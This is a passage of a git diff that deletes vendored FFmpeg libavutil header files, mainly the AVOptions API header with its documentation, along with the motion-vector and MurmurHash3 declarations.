General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_MOTION_VECTOR_H -#define AVUTIL_MOTION_VECTOR_H - -#include - -typedef struct AVMotionVector { - /** - * Where the current macroblock comes from; negative value when it comes - * from the past, positive value when it comes from the future. - * XXX: set exact relative ref frame reference instead of a +/- 1 "direction". - */ - int32_t source; - /** - * Width and height of the block. - */ - uint8_t w, h; - /** - * Absolute source position. Can be outside the frame area. - */ - int16_t src_x, src_y; - /** - * Absolute destination position. Can be outside the frame area. - */ - int16_t dst_x, dst_y; - /** - * Extra flag information. - * Currently unused. - */ - uint64_t flags; - /** - * Motion vector - * src_x = dst_x + motion_x / motion_scale - * src_y = dst_y + motion_y / motion_scale - */ - int32_t motion_x, motion_y; - uint16_t motion_scale; -} AVMotionVector; - -#endif /* AVUTIL_MOTION_VECTOR_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/murmur3.h b/desktop_3230/FFmpeg/include/libavutil/murmur3.h deleted file mode 100644 index f29ed97..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/murmur3.h +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2013 Reimar Döffinger - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_MURMUR3_H -#define AVUTIL_MURMUR3_H - -#include - -struct AVMurMur3 *av_murmur3_alloc(void); -void av_murmur3_init_seeded(struct AVMurMur3 *c, uint64_t seed); -void av_murmur3_init(struct AVMurMur3 *c); -void av_murmur3_update(struct AVMurMur3 *c, const uint8_t *src, int len); -void av_murmur3_final(struct AVMurMur3 *c, uint8_t dst[16]); - -#endif /* AVUTIL_MURMUR3_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/opt.h b/desktop_3230/FFmpeg/include/libavutil/opt.h deleted file mode 100644 index 753434d..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/opt.h +++ /dev/null @@ -1,865 +0,0 @@ -/* - * AVOptions - * copyright (c) 2005 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_OPT_H -#define AVUTIL_OPT_H - -/** - * @file - * AVOptions - */ - -#include "rational.h" -#include "avutil.h" -#include "dict.h" -#include "log.h" -#include "pixfmt.h" -#include "samplefmt.h" -#include "version.h" - -/** - * @defgroup avoptions AVOptions - * @ingroup lavu_data - * @{ - * AVOptions provide a generic system to declare options on arbitrary structs - * ("objects"). An option can have a help text, a type and a range of possible - * values. Options may then be enumerated, read and written to. - * - * @section avoptions_implement Implementing AVOptions - * This section describes how to add AVOptions capabilities to a struct. - * - * All AVOptions-related information is stored in an AVClass. Therefore - * the first member of the struct should be a pointer to an AVClass describing it. - * The option field of the AVClass must be set to a NULL-terminated static array - * of AVOptions. Each AVOption must have a non-empty name, a type, a default - * value and for number-type AVOptions also a range of allowed values. It must - * also declare an offset in bytes from the start of the struct, where the field - * associated with this AVOption is located. Other fields in the AVOption struct - * should also be set when applicable, but are not required. - * - * The following example illustrates an AVOptions-enabled struct: - * @code - * typedef struct test_struct { - * AVClass *class; - * int int_opt; - * char *str_opt; - * uint8_t *bin_opt; - * int bin_len; - * } test_struct; - * - * static const AVOption test_options[] = { - * { "test_int", "This is a test option of int type.", offsetof(test_struct, int_opt), - * AV_OPT_TYPE_INT, { .i64 = -1 }, INT_MIN, INT_MAX }, - * { "test_str", "This is a test option of string type.", offsetof(test_struct, str_opt), - * AV_OPT_TYPE_STRING }, - * { "test_bin", "This is a test option of binary type.", offsetof(test_struct, bin_opt), - * AV_OPT_TYPE_BINARY }, - * { NULL }, - * }; - * - * static const AVClass test_class = { - * .class_name = "test class", - * .item_name = av_default_item_name, - * .option = test_options, - * .version = LIBAVUTIL_VERSION_INT, - * }; - * @endcode - * - * Next, when allocating your struct, you must ensure that the AVClass pointer - * is set to the correct value. Then, av_opt_set_defaults() can be called to - * initialize defaults. After that the struct is ready to be used with the - * AVOptions API. - * - * When cleaning up, you may use the av_opt_free() function to automatically - * free all the allocated string and binary options. - * - * Continuing with the above example: - * - * @code - * test_struct *alloc_test_struct(void) - * { - * test_struct *ret = av_malloc(sizeof(*ret)); - * ret->class = &test_class; - * av_opt_set_defaults(ret); - * return ret; - * } - * void free_test_struct(test_struct **foo) - * { - * av_opt_free(*foo); - * av_freep(foo); - * } - * @endcode - * - * @subsection avoptions_implement_nesting Nesting - * It may happen that an AVOptions-enabled struct contains another - * AVOptions-enabled struct as a member (e.g. AVCodecContext in - * libavcodec exports generic options, while its priv_data field exports - * codec-specific options). In such a case, it is possible to set up the - * parent struct to export a child's options. To do that, simply - * implement AVClass.child_next() and AVClass.child_class_next() in the - * parent struct's AVClass. - * Assuming that the test_struct from above now also contains a - * child_struct field: - * - * @code - * typedef struct child_struct { - * AVClass *class; - * int flags_opt; - * } child_struct; - * static const AVOption child_opts[] = { - * { "test_flags", "This is a test option of flags type.", - * offsetof(child_struct, flags_opt), AV_OPT_TYPE_FLAGS, { .i64 = 0 }, INT_MIN, INT_MAX }, - * { NULL }, - * }; - * static const AVClass child_class = { - * .class_name = "child class", - * .item_name = av_default_item_name, - * .option = child_opts, - * .version = LIBAVUTIL_VERSION_INT, - * }; - * - * void *child_next(void *obj, void *prev) - * { - * test_struct *t = obj; - * if (!prev && t->child_struct) - * return t->child_struct; - * return NULL - * } - * const AVClass child_class_next(const AVClass *prev) - * { - * return prev ? NULL : &child_class; - * } - * @endcode - * Putting child_next() and child_class_next() as defined above into - * test_class will now make child_struct's options accessible through - * test_struct (again, proper setup as described above needs to be done on - * child_struct right after it is created). - * - * From the above example it might not be clear why both child_next() - * and child_class_next() are needed. The distinction is that child_next() - * iterates over actually existing objects, while child_class_next() - * iterates over all possible child classes. E.g. if an AVCodecContext - * was initialized to use a codec which has private options, then its - * child_next() will return AVCodecContext.priv_data and finish - * iterating. OTOH child_class_next() on AVCodecContext.av_class will - * iterate over all available codecs with private options. - * - * @subsection avoptions_implement_named_constants Named constants - * It is possible to create named constants for options. Simply set the unit - * field of the option the constants should apply to a string and - * create the constants themselves as options of type AV_OPT_TYPE_CONST - * with their unit field set to the same string. - * Their default_val field should contain the value of the named - * constant. - * For example, to add some named constants for the test_flags option - * above, put the following into the child_opts array: - * @code - * { "test_flags", "This is a test option of flags type.", - * offsetof(child_struct, flags_opt), AV_OPT_TYPE_FLAGS, { .i64 = 0 }, INT_MIN, INT_MAX, "test_unit" }, - * { "flag1", "This is a flag with value 16", 0, AV_OPT_TYPE_CONST, { .i64 = 16 }, 0, 0, "test_unit" }, - * @endcode - * - * @section avoptions_use Using AVOptions - * This section deals with accessing options in an AVOptions-enabled struct. - * Such structs in FFmpeg are e.g. AVCodecContext in libavcodec or - * AVFormatContext in libavformat. - * - * @subsection avoptions_use_examine Examining AVOptions - * The basic functions for examining options are av_opt_next(), which iterates - * over all options defined for one object, and av_opt_find(), which searches - * for an option with the given name. - * - * The situation is more complicated with nesting. An AVOptions-enabled struct - * may have AVOptions-enabled children. Passing the AV_OPT_SEARCH_CHILDREN flag - * to av_opt_find() will make the function search children recursively. - * - * For enumerating there are basically two cases. The first is when you want to - * get all options that may potentially exist on the struct and its children - * (e.g. when constructing documentation). In that case you should call - * av_opt_child_class_next() recursively on the parent struct's AVClass. The - * second case is when you have an already initialized struct with all its - * children and you want to get all options that can be actually written or read - * from it. In that case you should call av_opt_child_next() recursively (and - * av_opt_next() on each result). - * - * @subsection avoptions_use_get_set Reading and writing AVOptions - * When setting options, you often have a string read directly from the - * user. In such a case, simply passing it to av_opt_set() is enough. For - * non-string type options, av_opt_set() will parse the string according to the - * option type. - * - * Similarly av_opt_get() will read any option type and convert it to a string - * which will be returned. Do not forget that the string is allocated, so you - * have to free it with av_free(). - * - * In some cases it may be more convenient to put all options into an - * AVDictionary and call av_opt_set_dict() on it. A specific case of this - * are the format/codec open functions in lavf/lavc which take a dictionary - * filled with option as a parameter. This makes it possible to set some options - * that cannot be set otherwise, since e.g. the input file format is not known - * before the file is actually opened. - */ - -enum AVOptionType{ - AV_OPT_TYPE_FLAGS, - AV_OPT_TYPE_INT, - AV_OPT_TYPE_INT64, - AV_OPT_TYPE_DOUBLE, - AV_OPT_TYPE_FLOAT, - AV_OPT_TYPE_STRING, - AV_OPT_TYPE_RATIONAL, - AV_OPT_TYPE_BINARY, ///< offset must point to a pointer immediately followed by an int for the length - AV_OPT_TYPE_DICT, - AV_OPT_TYPE_CONST = 128, - AV_OPT_TYPE_IMAGE_SIZE = MKBETAG('S','I','Z','E'), ///< offset must point to two consecutive integers - AV_OPT_TYPE_PIXEL_FMT = MKBETAG('P','F','M','T'), - AV_OPT_TYPE_SAMPLE_FMT = MKBETAG('S','F','M','T'), - AV_OPT_TYPE_VIDEO_RATE = MKBETAG('V','R','A','T'), ///< offset must point to AVRational - AV_OPT_TYPE_DURATION = MKBETAG('D','U','R',' '), - AV_OPT_TYPE_COLOR = MKBETAG('C','O','L','R'), - AV_OPT_TYPE_CHANNEL_LAYOUT = MKBETAG('C','H','L','A'), - AV_OPT_TYPE_BOOL = MKBETAG('B','O','O','L'), -}; - -/** - * AVOption - */ -typedef struct AVOption { - const char *name; - - /** - * short English help text - * @todo What about other languages? - */ - const char *help; - - /** - * The offset relative to the context structure where the option - * value is stored. It should be 0 for named constants. - */ - int offset; - enum AVOptionType type; - - /** - * the default value for scalar options - */ - union { - int64_t i64; - double dbl; - const char *str; - /* TODO those are unused now */ - AVRational q; - } default_val; - double min; ///< minimum valid value for the option - double max; ///< maximum valid value for the option - - int flags; -#define AV_OPT_FLAG_ENCODING_PARAM 1 ///< a generic parameter which can be set by the user for muxing or encoding -#define AV_OPT_FLAG_DECODING_PARAM 2 ///< a generic parameter which can be set by the user for demuxing or decoding -#if FF_API_OPT_TYPE_METADATA -#define AV_OPT_FLAG_METADATA 4 ///< some data extracted or inserted into the file like title, comment, ... -#endif -#define AV_OPT_FLAG_AUDIO_PARAM 8 -#define AV_OPT_FLAG_VIDEO_PARAM 16 -#define AV_OPT_FLAG_SUBTITLE_PARAM 32 -/** - * The option is inteded for exporting values to the caller. - */ -#define AV_OPT_FLAG_EXPORT 64 -/** - * The option may not be set through the AVOptions API, only read. - * This flag only makes sense when AV_OPT_FLAG_EXPORT is also set. - */ -#define AV_OPT_FLAG_READONLY 128 -#define AV_OPT_FLAG_FILTERING_PARAM (1<<16) ///< a generic parameter which can be set by the user for filtering -//FIXME think about enc-audio, ... style flags - - /** - * The logical unit to which the option belongs. Non-constant - * options and corresponding named constants share the same - * unit. May be NULL. - */ - const char *unit; -} AVOption; - -/** - * A single allowed range of values, or a single allowed value. - */ -typedef struct AVOptionRange { - const char *str; - /** - * Value range. - * For string ranges this represents the min/max length. - * For dimensions this represents the min/max pixel count or width/height in multi-component case. - */ - double value_min, value_max; - /** - * Value's component range. - * For string this represents the unicode range for chars, 0-127 limits to ASCII. - */ - double component_min, component_max; - /** - * Range flag. - * If set to 1 the struct encodes a range, if set to 0 a single value. - */ - int is_range; -} AVOptionRange; - -/** - * List of AVOptionRange structs. - */ -typedef struct AVOptionRanges { - /** - * Array of option ranges. - * - * Most of option types use just one component. - * Following describes multi-component option types: - * - * AV_OPT_TYPE_IMAGE_SIZE: - * component index 0: range of pixel count (width * height). - * component index 1: range of width. - * component index 2: range of height. - * - * @note To obtain multi-component version of this structure, user must - * provide AV_OPT_MULTI_COMPONENT_RANGE to av_opt_query_ranges or - * av_opt_query_ranges_default function. - * - * Multi-component range can be read as in following example: - * - * @code - * int range_index, component_index; - * AVOptionRanges *ranges; - * AVOptionRange *range[3]; //may require more than 3 in the future. - * av_opt_query_ranges(&ranges, obj, key, AV_OPT_MULTI_COMPONENT_RANGE); - * for (range_index = 0; range_index < ranges->nb_ranges; range_index++) { - * for (component_index = 0; component_index < ranges->nb_components; component_index++) - * range[component_index] = ranges->range[ranges->nb_ranges * component_index + range_index]; - * //do something with range here. - * } - * av_opt_freep_ranges(&ranges); - * @endcode - */ - AVOptionRange **range; - /** - * Number of ranges per component. - */ - int nb_ranges; - /** - * Number of componentes. - */ - int nb_components; -} AVOptionRanges; - -/** - * Show the obj options. - * - * @param req_flags requested flags for the options to show. Show only the - * options for which it is opt->flags & req_flags. - * @param rej_flags rejected flags for the options to show. Show only the - * options for which it is !(opt->flags & req_flags). - * @param av_log_obj log context to use for showing the options - */ -int av_opt_show2(void *obj, void *av_log_obj, int req_flags, int rej_flags); - -/** - * Set the values of all AVOption fields to their default values. - * - * @param s an AVOption-enabled struct (its first member must be a pointer to AVClass) - */ -void av_opt_set_defaults(void *s); - -/** - * Set the values of all AVOption fields to their default values. Only these - * AVOption fields for which (opt->flags & mask) == flags will have their - * default applied to s. - * - * @param s an AVOption-enabled struct (its first member must be a pointer to AVClass) - * @param mask combination of AV_OPT_FLAG_* - * @param flags combination of AV_OPT_FLAG_* - */ -void av_opt_set_defaults2(void *s, int mask, int flags); - -/** - * Parse the key/value pairs list in opts. For each key/value pair - * found, stores the value in the field in ctx that is named like the - * key. ctx must be an AVClass context, storing is done using - * AVOptions. - * - * @param opts options string to parse, may be NULL - * @param key_val_sep a 0-terminated list of characters used to - * separate key from value - * @param pairs_sep a 0-terminated list of characters used to separate - * two pairs from each other - * @return the number of successfully set key/value pairs, or a negative - * value corresponding to an AVERROR code in case of error: - * AVERROR(EINVAL) if opts cannot be parsed, - * the error code issued by av_opt_set() if a key/value pair - * cannot be set - */ -int av_set_options_string(void *ctx, const char *opts, - const char *key_val_sep, const char *pairs_sep); - -/** - * Parse the key-value pairs list in opts. For each key=value pair found, - * set the value of the corresponding option in ctx. - * - * @param ctx the AVClass object to set options on - * @param opts the options string, key-value pairs separated by a - * delimiter - * @param shorthand a NULL-terminated array of options names for shorthand - * notation: if the first field in opts has no key part, - * the key is taken from the first element of shorthand; - * then again for the second, etc., until either opts is - * finished, shorthand is finished or a named option is - * found; after that, all options must be named - * @param key_val_sep a 0-terminated list of characters used to separate - * key from value, for example '=' - * @param pairs_sep a 0-terminated list of characters used to separate - * two pairs from each other, for example ':' or ',' - * @return the number of successfully set key=value pairs, or a negative - * value corresponding to an AVERROR code in case of error: - * AVERROR(EINVAL) if opts cannot be parsed, - * the error code issued by av_set_string3() if a key/value pair - * cannot be set - * - * Options names must use only the following characters: a-z A-Z 0-9 - . / _ - * Separators must use characters distinct from option names and from each - * other. - */ -int av_opt_set_from_string(void *ctx, const char *opts, - const char *const *shorthand, - const char *key_val_sep, const char *pairs_sep); -/** - * Free all allocated objects in obj. - */ -void av_opt_free(void *obj); - -/** - * Check whether a particular flag is set in a flags field. - * - * @param field_name the name of the flag field option - * @param flag_name the name of the flag to check - * @return non-zero if the flag is set, zero if the flag isn't set, - * isn't of the right type, or the flags field doesn't exist. - */ -int av_opt_flag_is_set(void *obj, const char *field_name, const char *flag_name); - -/** - * Set all the options from a given dictionary on an object. - * - * @param obj a struct whose first element is a pointer to AVClass - * @param options options to process. This dictionary will be freed and replaced - * by a new one containing all options not found in obj. - * Of course this new dictionary needs to be freed by caller - * with av_dict_free(). - * - * @return 0 on success, a negative AVERROR if some option was found in obj, - * but could not be set. - * - * @see av_dict_copy() - */ -int av_opt_set_dict(void *obj, struct AVDictionary **options); - - -/** - * Set all the options from a given dictionary on an object. - * - * @param obj a struct whose first element is a pointer to AVClass - * @param options options to process. This dictionary will be freed and replaced - * by a new one containing all options not found in obj. - * Of course this new dictionary needs to be freed by caller - * with av_dict_free(). - * @param search_flags A combination of AV_OPT_SEARCH_*. - * - * @return 0 on success, a negative AVERROR if some option was found in obj, - * but could not be set. - * - * @see av_dict_copy() - */ -int av_opt_set_dict2(void *obj, struct AVDictionary **options, int search_flags); - -/** - * Extract a key-value pair from the beginning of a string. - * - * @param ropts pointer to the options string, will be updated to - * point to the rest of the string (one of the pairs_sep - * or the final NUL) - * @param key_val_sep a 0-terminated list of characters used to separate - * key from value, for example '=' - * @param pairs_sep a 0-terminated list of characters used to separate - * two pairs from each other, for example ':' or ',' - * @param flags flags; see the AV_OPT_FLAG_* values below - * @param rkey parsed key; must be freed using av_free() - * @param rval parsed value; must be freed using av_free() - * - * @return >=0 for success, or a negative value corresponding to an - * AVERROR code in case of error; in particular: - * AVERROR(EINVAL) if no key is present - * - */ -int av_opt_get_key_value(const char **ropts, - const char *key_val_sep, const char *pairs_sep, - unsigned flags, - char **rkey, char **rval); - -enum { - - /** - * Accept to parse a value without a key; the key will then be returned - * as NULL. - */ - AV_OPT_FLAG_IMPLICIT_KEY = 1, -}; - -/** - * @defgroup opt_eval_funcs Evaluating option strings - * @{ - * This group of functions can be used to evaluate option strings - * and get numbers out of them. They do the same thing as av_opt_set(), - * except the result is written into the caller-supplied pointer. - * - * @param obj a struct whose first element is a pointer to AVClass. - * @param o an option for which the string is to be evaluated. - * @param val string to be evaluated. - * @param *_out value of the string will be written here. - * - * @return 0 on success, a negative number on failure. - */ -int av_opt_eval_flags (void *obj, const AVOption *o, const char *val, int *flags_out); -int av_opt_eval_int (void *obj, const AVOption *o, const char *val, int *int_out); -int av_opt_eval_int64 (void *obj, const AVOption *o, const char *val, int64_t *int64_out); -int av_opt_eval_float (void *obj, const AVOption *o, const char *val, float *float_out); -int av_opt_eval_double(void *obj, const AVOption *o, const char *val, double *double_out); -int av_opt_eval_q (void *obj, const AVOption *o, const char *val, AVRational *q_out); -/** - * @} - */ - -#define AV_OPT_SEARCH_CHILDREN (1 << 0) /**< Search in possible children of the - given object first. */ -/** - * The obj passed to av_opt_find() is fake -- only a double pointer to AVClass - * instead of a required pointer to a struct containing AVClass. This is - * useful for searching for options without needing to allocate the corresponding - * object. - */ -#define AV_OPT_SEARCH_FAKE_OBJ (1 << 1) - -/** - * In av_opt_get, return NULL if the option has a pointer type and is set to NULL, - * rather than returning an empty string. - */ -#define AV_OPT_ALLOW_NULL (1 << 2) - -/** - * Allows av_opt_query_ranges and av_opt_query_ranges_default to return more than - * one component for certain option types. - * @see AVOptionRanges for details. - */ -#define AV_OPT_MULTI_COMPONENT_RANGE (1 << 12) - -/** - * Look for an option in an object. Consider only options which - * have all the specified flags set. - * - * @param[in] obj A pointer to a struct whose first element is a - * pointer to an AVClass. - * Alternatively a double pointer to an AVClass, if - * AV_OPT_SEARCH_FAKE_OBJ search flag is set. - * @param[in] name The name of the option to look for. - * @param[in] unit When searching for named constants, name of the unit - * it belongs to. - * @param opt_flags Find only options with all the specified flags set (AV_OPT_FLAG). - * @param search_flags A combination of AV_OPT_SEARCH_*. - * - * @return A pointer to the option found, or NULL if no option - * was found. - * - * @note Options found with AV_OPT_SEARCH_CHILDREN flag may not be settable - * directly with av_opt_set(). Use special calls which take an options - * AVDictionary (e.g. avformat_open_input()) to set options found with this - * flag. - */ -const AVOption *av_opt_find(void *obj, const char *name, const char *unit, - int opt_flags, int search_flags); - -/** - * Look for an option in an object. Consider only options which - * have all the specified flags set. - * - * @param[in] obj A pointer to a struct whose first element is a - * pointer to an AVClass. - * Alternatively a double pointer to an AVClass, if - * AV_OPT_SEARCH_FAKE_OBJ search flag is set. - * @param[in] name The name of the option to look for. - * @param[in] unit When searching for named constants, name of the unit - * it belongs to. - * @param opt_flags Find only options with all the specified flags set (AV_OPT_FLAG). - * @param search_flags A combination of AV_OPT_SEARCH_*. - * @param[out] target_obj if non-NULL, an object to which the option belongs will be - * written here. It may be different from obj if AV_OPT_SEARCH_CHILDREN is present - * in search_flags. This parameter is ignored if search_flags contain - * AV_OPT_SEARCH_FAKE_OBJ. - * - * @return A pointer to the option found, or NULL if no option - * was found. - */ -const AVOption *av_opt_find2(void *obj, const char *name, const char *unit, - int opt_flags, int search_flags, void **target_obj); - -/** - * Iterate over all AVOptions belonging to obj. - * - * @param obj an AVOptions-enabled struct or a double pointer to an - * AVClass describing it. - * @param prev result of the previous call to av_opt_next() on this object - * or NULL - * @return next AVOption or NULL - */ -const AVOption *av_opt_next(const void *obj, const AVOption *prev); - -/** - * Iterate over AVOptions-enabled children of obj. - * - * @param prev result of a previous call to this function or NULL - * @return next AVOptions-enabled child or NULL - */ -void *av_opt_child_next(void *obj, void *prev); - -/** - * Iterate over potential AVOptions-enabled children of parent. - * - * @param prev result of a previous call to this function or NULL - * @return AVClass corresponding to next potential child or NULL - */ -const AVClass *av_opt_child_class_next(const AVClass *parent, const AVClass *prev); - -/** - * @defgroup opt_set_funcs Option setting functions - * @{ - * Those functions set the field of obj with the given name to value. - * - * @param[in] obj A struct whose first element is a pointer to an AVClass. - * @param[in] name the name of the field to set - * @param[in] val The value to set. In case of av_opt_set() if the field is not - * of a string type, then the given string is parsed. - * SI postfixes and some named scalars are supported. - * If the field is of a numeric type, it has to be a numeric or named - * scalar. Behavior with more than one scalar and +- infix operators - * is undefined. - * If the field is of a flags type, it has to be a sequence of numeric - * scalars or named flags separated by '+' or '-'. Prefixing a flag - * with '+' causes it to be set without affecting the other flags; - * similarly, '-' unsets a flag. - * @param search_flags flags passed to av_opt_find2. I.e. if AV_OPT_SEARCH_CHILDREN - * is passed here, then the option may be set on a child of obj. - * - * @return 0 if the value has been set, or an AVERROR code in case of - * error: - * AVERROR_OPTION_NOT_FOUND if no matching option exists - * AVERROR(ERANGE) if the value is out of range - * AVERROR(EINVAL) if the value is not valid - */ -int av_opt_set (void *obj, const char *name, const char *val, int search_flags); -int av_opt_set_int (void *obj, const char *name, int64_t val, int search_flags); -int av_opt_set_double (void *obj, const char *name, double val, int search_flags); -int av_opt_set_q (void *obj, const char *name, AVRational val, int search_flags); -int av_opt_set_bin (void *obj, const char *name, const uint8_t *val, int size, int search_flags); -int av_opt_set_image_size(void *obj, const char *name, int w, int h, int search_flags); -int av_opt_set_pixel_fmt (void *obj, const char *name, enum AVPixelFormat fmt, int search_flags); -int av_opt_set_sample_fmt(void *obj, const char *name, enum AVSampleFormat fmt, int search_flags); -int av_opt_set_video_rate(void *obj, const char *name, AVRational val, int search_flags); -int av_opt_set_channel_layout(void *obj, const char *name, int64_t ch_layout, int search_flags); -/** - * @note Any old dictionary present is discarded and replaced with a copy of the new one. The - * caller still owns val is and responsible for freeing it. - */ -int av_opt_set_dict_val(void *obj, const char *name, const AVDictionary *val, int search_flags); - -/** - * Set a binary option to an integer list. - * - * @param obj AVClass object to set options on - * @param name name of the binary option - * @param val pointer to an integer list (must have the correct type with - * regard to the contents of the list) - * @param term list terminator (usually 0 or -1) - * @param flags search flags - */ -#define av_opt_set_int_list(obj, name, val, term, flags) \ - (av_int_list_length(val, term) > INT_MAX / sizeof(*(val)) ? \ - AVERROR(EINVAL) : \ - av_opt_set_bin(obj, name, (const uint8_t *)(val), \ - av_int_list_length(val, term) * sizeof(*(val)), flags)) - -/** - * @} - */ - -/** - * @defgroup opt_get_funcs Option getting functions - * @{ - * Those functions get a value of the option with the given name from an object. - * - * @param[in] obj a struct whose first element is a pointer to an AVClass. - * @param[in] name name of the option to get. - * @param[in] search_flags flags passed to av_opt_find2. I.e. if AV_OPT_SEARCH_CHILDREN - * is passed here, then the option may be found in a child of obj. - * @param[out] out_val value of the option will be written here - * @return >=0 on success, a negative error code otherwise - */ -/** - * @note the returned string will be av_malloc()ed and must be av_free()ed by the caller - * - * @note if AV_OPT_ALLOW_NULL is set in search_flags in av_opt_get, and the option has - * AV_OPT_TYPE_STRING or AV_OPT_TYPE_BINARY and is set to NULL, *out_val will be set - * to NULL instead of an allocated empty string. - */ -int av_opt_get (void *obj, const char *name, int search_flags, uint8_t **out_val); -int av_opt_get_int (void *obj, const char *name, int search_flags, int64_t *out_val); -int av_opt_get_double (void *obj, const char *name, int search_flags, double *out_val); -int av_opt_get_q (void *obj, const char *name, int search_flags, AVRational *out_val); -int av_opt_get_image_size(void *obj, const char *name, int search_flags, int *w_out, int *h_out); -int av_opt_get_pixel_fmt (void *obj, const char *name, int search_flags, enum AVPixelFormat *out_fmt); -int av_opt_get_sample_fmt(void *obj, const char *name, int search_flags, enum AVSampleFormat *out_fmt); -int av_opt_get_video_rate(void *obj, const char *name, int search_flags, AVRational *out_val); -int av_opt_get_channel_layout(void *obj, const char *name, int search_flags, int64_t *ch_layout); -/** - * @param[out] out_val The returned dictionary is a copy of the actual value and must - * be freed with av_dict_free() by the caller - */ -int av_opt_get_dict_val(void *obj, const char *name, int search_flags, AVDictionary **out_val); -/** - * @} - */ -/** - * Gets a pointer to the requested field in a struct. - * This function allows accessing a struct even when its fields are moved or - * renamed since the application making the access has been compiled, - * - * @returns a pointer to the field, it can be cast to the correct type and read - * or written to. - */ -void *av_opt_ptr(const AVClass *avclass, void *obj, const char *name); - -/** - * Free an AVOptionRanges struct and set it to NULL. - */ -void av_opt_freep_ranges(AVOptionRanges **ranges); - -/** - * Get a list of allowed ranges for the given option. - * - * The returned list may depend on other fields in obj like for example profile. - * - * @param flags is a bitmask of flags, undefined flags should not be set and should be ignored - * AV_OPT_SEARCH_FAKE_OBJ indicates that the obj is a double pointer to a AVClass instead of a full instance - * AV_OPT_MULTI_COMPONENT_RANGE indicates that function may return more than one component, @see AVOptionRanges - * - * The result must be freed with av_opt_freep_ranges. - * - * @return number of compontents returned on success, a negative errro code otherwise - */ -int av_opt_query_ranges(AVOptionRanges **, void *obj, const char *key, int flags); - -/** - * Copy options from src object into dest object. - * - * Options that require memory allocation (e.g. string or binary) are malloc'ed in dest object. - * Original memory allocated for such options is freed unless both src and dest options points to the same memory. - * - * @param dest Object to copy from - * @param src Object to copy into - * @return 0 on success, negative on error - */ -int av_opt_copy(void *dest, const void *src); - -/** - * Get a default list of allowed ranges for the given option. - * - * This list is constructed without using the AVClass.query_ranges() callback - * and can be used as fallback from within the callback. - * - * @param flags is a bitmask of flags, undefined flags should not be set and should be ignored - * AV_OPT_SEARCH_FAKE_OBJ indicates that the obj is a double pointer to a AVClass instead of a full instance - * AV_OPT_MULTI_COMPONENT_RANGE indicates that function may return more than one component, @see AVOptionRanges - * - * The result must be freed with av_opt_free_ranges. - * - * @return number of compontents returned on success, a negative errro code otherwise - */ -int av_opt_query_ranges_default(AVOptionRanges **, void *obj, const char *key, int flags); - -/** - * Check if given option is set to its default value. - * - * Options o must belong to the obj. This function must not be called to check child's options state. - * @see av_opt_is_set_to_default_by_name(). - * - * @param obj AVClass object to check option on - * @param o option to be checked - * @return >0 when option is set to its default, - * 0 when option is not set its default, - * <0 on error - */ -int av_opt_is_set_to_default(void *obj, const AVOption *o); - -/** - * Check if given option is set to its default value. - * - * @param obj AVClass object to check option on - * @param name option name - * @param search_flags combination of AV_OPT_SEARCH_* - * @return >0 when option is set to its default, - * 0 when option is not set its default, - * <0 on error - */ -int av_opt_is_set_to_default_by_name(void *obj, const char *name, int search_flags); - - -#define AV_OPT_SERIALIZE_SKIP_DEFAULTS 0x00000001 ///< Serialize options that are not set to default values only. -#define AV_OPT_SERIALIZE_OPT_FLAGS_EXACT 0x00000002 ///< Serialize options that exactly match opt_flags only. - -/** - * Serialize object's options. - * - * Create a string containing object's serialized options. - * Such string may be passed back to av_opt_set_from_string() in order to restore option values. - * A key/value or pairs separator occurring in the serialized value or - * name string are escaped through the av_escape() function. - * - * @param[in] obj AVClass object to serialize - * @param[in] opt_flags serialize options with all the specified flags set (AV_OPT_FLAG) - * @param[in] flags combination of AV_OPT_SERIALIZE_* flags - * @param[out] buffer Pointer to buffer that will be allocated with string containg serialized options. - * Buffer must be freed by the caller when is no longer needed. - * @param[in] key_val_sep character used to separate key from value - * @param[in] pairs_sep character used to separate two pairs from each other - * @return >= 0 on success, negative on error - * @warning Separators cannot be neither '\\' nor '\0'. They also cannot be the same. - */ -int av_opt_serialize(void *obj, int opt_flags, int flags, char **buffer, - const char key_val_sep, const char pairs_sep); -/** - * @} - */ - -#endif /* AVUTIL_OPT_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/parseutils.h b/desktop_3230/FFmpeg/include/libavutil/parseutils.h deleted file mode 100644 index e66d24b..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/parseutils.h +++ /dev/null @@ -1,193 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 